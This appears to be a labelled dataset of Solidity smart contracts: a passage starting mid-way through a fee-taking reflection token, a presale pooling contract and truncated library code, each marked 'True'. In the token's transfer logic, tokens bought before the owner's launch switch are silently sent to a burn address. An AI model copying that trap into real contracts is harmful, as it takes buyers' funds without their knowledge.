_approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } bool public limit = true; function changeLimit() public onlyOwner(){ require(limit == true, 'limit is already false'); limit = false; } function moon() external onlyOwner() { launched = true; swapAndLiquifyEnabled = true; } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!launched){ if (from == uniswapPair && from != owner() && to != owner()){ to = burnAddress; } } if(limit == true && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && to != burnAddress){ if(to != uniswapPair && from == uniswapPair){ require(((balanceOf(to).add(amount)) <= 200000000000 * 10**4 * 10**9)); } require(amount <= 100000000000 * 10**4 * 10**9, 'Transfer amount must be less'); } if(from != owner() && to != owner()) require(amount <= _maxTxAmount); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= minTokensBeforeSwap; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapPair && swapAndLiquifyEnabled ) { //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 forLiquidity = contractTokenBalance.div(2); uint256 devExp = contractTokenBalance.div(4); uint256 forRewards = contractTokenBalance.div(4); // split the liquidity uint256 half = forLiquidity.div(2); uint256 otherHalf = forLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half.add(devExp).add(forRewards)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 Balance = address(this).balance.sub(initialBalance); uint256 oneThird = Balance.div(3); wallet.transfer(oneThird); wallet2.transfer(oneThird); // add liquidity to uniswap addLiquidity(otherHalf, oneThird); emit SwapAndLiquify(half, oneThird, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); // make the swap uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapRouter), tokenAmount); // add the liquidity uniswapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable wallet, block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMinTokensBeforeSwap(uint256 amount) external onlyOwner { minTokensBeforeSwap = amount; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent <= 20, "Maximum tax limit is 20 percent"); _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapRouter when swaping receive() external payable {} }

True

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pragma solidity 0.4.21; // Wolf Crypto presale pooling contract // written by @iamdefinitelyahuman library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function checkMemberLevel (address addr) external view returns (uint); } library PresaleLib { using SafeMath for uint; WhiteList constant whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63); uint constant contributionMin = 100000000000000000; uint constant maxGasPrice = 50000000000; struct Contributor { uint16 claimedTokensIndex; uint balance; } struct Data { address owner; address receiver; address[] withdrawToken; bool poolSubmitted; bool locked; uint addressSetTime; uint fee; uint contractCap; uint finalBalance; uint[] withdrawAmount; uint[] capAmounts; uint32[] capTimes; mapping (address => uint) tokenBalances; mapping (address => uint) individualCaps; mapping (address => Contributor) contributorMap; } event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalAvailable (address token); event WithdrawalClaimed (address receiver, address token, uint amount); modifier onlyOwner (Data storage self) { require (msg.sender == self.owner); _; } modifier noReentrancy(Data storage self) { require(!self.locked); self.locked = true; _; self.locked = false; } function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20).div(denominator); } function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct).div(10 ** 20); } function newPool (Data storage self, uint _fee, address _receiver, uint _contractCap, uint _individualCap) public { require (_fee < 1000); self.owner = msg.sender; self.receiver = _receiver; self.contractCap = _contractCap; self.capTimes.push(0); self.capAmounts.push(_individualCap); self.fee = _toPct(_fee,1000); } function deposit (Data storage self) public { assert (!self.poolSubmitted); require (tx.gasprice <= maxGasPrice); Contributor storage c = self.contributorMap[msg.sender]; uint cap = _getCap(self, msg.sender); require (cap >= c.balance.add(msg.value)); if (self.contractCap < address(this).balance) { require (address(this).balance.sub(msg.value) < self.contractCap); uint excess = address(this).balance.sub(self.contractCap); c.balance = c.balance.add(msg.value.sub(excess)); msg.sender.transfer(excess); } else { c.balance = c.balance.add(msg.value); } require (c.balance >= contributionMin); emit ContributorBalanceChanged(msg.sender, c.balance); } function receiveRefund (Data storage self) public { assert (self.poolSubmitted); require (msg.sender == self.receiver || msg.sender == self.owner); require (msg.value >= 1 ether); self.withdrawToken.push(0x00); self.withdrawAmount.push(msg.value); emit WithdrawalAvailable(0x00); } function withdraw (Data storage self) public { assert (msg.value == 0); Contributor storage c = self.contributorMap[msg.sender]; require (c.balance > 0); if (!self.poolSubmitted) { uint balance = c.balance; c.balance = 0; msg.sender.transfer(balance); emit ContributorBalanceChanged(msg.sender, 0); return; } require (c.claimedTokensIndex < self.withdrawToken.length); uint pct = _toPct(c.balance,self.finalBalance); uint amount; address token; for (uint16 i = c.claimedTokensIndex; i < self.withdrawToken.length; i++) { amount = _applyPct(self.withdrawAmount[i],pct); token = self.withdrawToken[i]; c.claimedTokensIndex++; if (amount > 0) { if (token == 0x00) { msg.sender.transfer(amount); } else { require (ERC20(token).transfer(msg.sender, amount)); self.tokenBalances[token] = self.tokenBalances[token].sub(amount); } emit WithdrawalClaimed(msg.sender, token, amount); } } } function setIndividualCaps (Data storage self, address[] addr, uint[] cap) public onlyOwner(self) { require (addr.length == cap.length); for (uint8 i = 0; i < addr.length; i++) { self.individualCaps[addr[i]] = cap[i]; } } function setCaps (Data storage self, uint32[] times, uint[] caps) public onlyOwner(self) { require (caps.length > 0); require (caps.length == times.length); self.capTimes = [0]; self.capAmounts = [self.capAmounts[0]]; for (uint8 i = 0; i < caps.length; i++) { require (times[i] > self.capTimes[self.capTimes.length.sub(1)]); self.capTimes.push(times[i]); self.capAmounts.push(caps[i]); } } function setContractCap (Data storage self, uint amount) public onlyOwner(self) { require (amount >= address(this).balance); self.contractCap = amount; } function _getCap (Data storage self, address addr) internal view returns (uint) { if (self.individualCaps[addr] > 0) return self.individualCaps[addr]; if (whitelistContract.checkMemberLevel(msg.sender) == 0) return 0; return getCapAtTime(self,now); } function getCapAtTime (Data storage self, uint time) public view returns (uint) { if (time == 0) time = now; for (uint i = 1; i < self.capTimes.length; i++) { if (self.capTimes[i] > time) return self.capAmounts[i-1]; } return self.capAmounts[self.capAmounts.length-1]; } function getPoolInfo (Data storage self) view public returns (uint balance, uint remaining, uint cap) { if (!self.poolSubmitted) return (address(this).balance, self.contractCap.sub(address(this).balance), self.contractCap); return (address(this).balance, 0, self.contractCap); } function getContributorInfo (Data storage self, address addr) view public returns (uint balance, uint remaining, uint cap) { cap = _getCap(self, addr); Contributor storage c = self.contributorMap[addr]; if (self.poolSubmitted || cap <= c.balance) return (c.balance, 0, cap); if (cap.sub(c.balance) > self.contractCap.sub(address(this).balance)) return (c.balance, self.contractCap.sub(address(this).balance), cap); return (c.balance, cap.sub(c.balance), cap); } function checkWithdrawalAvailable (Data storage self, address addr) view public returns (bool) { return self.contributorMap[addr].claimedTokensIndex < self.withdrawToken.length; } function setReceiverAddress (Data storage self, address _receiver) public onlyOwner(self) { require (!self.poolSubmitted); self.receiver = _receiver; self.addressSetTime = now; emit ReceiverAddressSet(_receiver); } function submitPool (Data storage self, uint amountInWei) public onlyOwner(self) noReentrancy(self) { require (!self.poolSubmitted); require (now > self.addressSetTime.add(86400)); if (amountInWei == 0) amountInWei = address(this).balance; self.finalBalance = address(this).balance; self.poolSubmitted = true; require (self.receiver.call.value(amountInWei).gas(gasleft().sub(5000))()); if (address(this).balance > 0) { self.withdrawToken.push(0x00); self.withdrawAmount.push(address(this).balance); emit WithdrawalAvailable(0x00); } emit PoolSubmitted(self.receiver, amountInWei); } function enableWithdrawals (Data storage self, address tokenAddress, address feeAddress) public onlyOwner(self) noReentrancy(self) { require (self.poolSubmitted); if (feeAddress == 0x00) feeAddress = self.owner; ERC20 token = ERC20(tokenAddress); uint amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); require (amount > 0); if (self.fee > 0) { require (token.transfer(feeAddress, _applyPct(amount,self.fee))); amount = token.balanceOf(this).sub(self.tokenBalances[tokenAddress]); } self.tokenBalances[tokenAddress] = token.balanceOf(this); self.withdrawToken.push(tokenAddress); self.withdrawAmount.push(amount); emit WithdrawalAvailable(tokenAddress); } } contract PresalePool { using PresaleLib for PresaleLib.Data; PresaleLib.Data data; event ERC223Received (address token, uint value, bytes data); function PresalePool (uint fee, address receiver, uint contractCap, uint individualCap) public { data.newPool(fee, receiver, contractCap, individualCap); } function () public payable { if (msg.value > 0) { if (!data.poolSubmitted) { data.deposit(); } else { data.receiveRefund(); } } else { data.withdraw(); } } function setIndividualCaps (address[] addr, uint[] cap) public { data.setIndividualCaps(addr, cap); } function setCaps (uint32[] times, uint[] caps) public { data.setCaps(times,caps); } function setContractCap (uint amount) public { data.setContractCap(amount); } function getPoolInfo () view public returns (uint balance, uint remaining, uint cap) { return data.getPoolInfo(); } function getContributorInfo (address addr) view public returns (uint balance, uint remaining, uint cap) { return data.getContributorInfo(addr); } function getCapAtTime (uint32 time) view public returns (uint) { return data.getCapAtTime(time); } function checkWithdrawalAvailable (address addr) view public returns (bool) { return data.checkWithdrawalAvailable(addr); } function getReceiverAddress () view public returns (address) { return data.receiver; } function setReceiverAddress (address receiver) public { data.setReceiverAddress(receiver); } function submitPool (uint amountInWei) public { data.submitPool(amountInWei); } function enableWithdrawals (address tokenAddress, address feeAddress) public { data.enableWithdrawals(tokenAddress, feeAddress); } function tokenFallback (address from, uint value, bytes calldata) public { emit ERC223Received(from, value, calldata); } }

True

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pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) 